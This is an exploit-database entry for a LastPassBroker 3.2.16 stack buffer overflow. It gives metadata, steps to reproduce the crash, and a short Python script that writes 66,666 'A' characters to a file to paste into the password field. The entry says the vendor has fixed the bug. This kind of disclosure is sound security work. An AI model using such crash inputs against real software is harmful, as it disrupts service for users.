Last PassBroker 3.2.16 - Stack Buffer Overflow (PoC)
Author: Un_N0n
type: dos
platform: windows
port:
date_added: 2015-10-06
date_updated: 2018-01-08
verified: 0
codes: OSVDB-128584
tags:
aliases:
screenshot_url:
application_url:
'''
********************************************************************************************
# Exploit Title: Last PassBroker Stack-based BOF
# Date: 9/23/2015
# Exploit Author: Un_N0n
# Software Link: https://lastpass.com/download
# Version: 3.2.16
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************
[Steps to Produce the Crash]:
1- open 'LastPassBroker.exe'.
2- A Input-Box will appear asking for Email and Password,
In password field paste in the contents of crash.txt
3- Hit Login.
~Software will Crash.
[Code to produce crash.txt]:
'''
junk = "A"*66666
file = open("CRASH.txt",'w')
file.write(junk)
file.close()
'''
> Vendor Notified, Fixed in latest Release.
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'''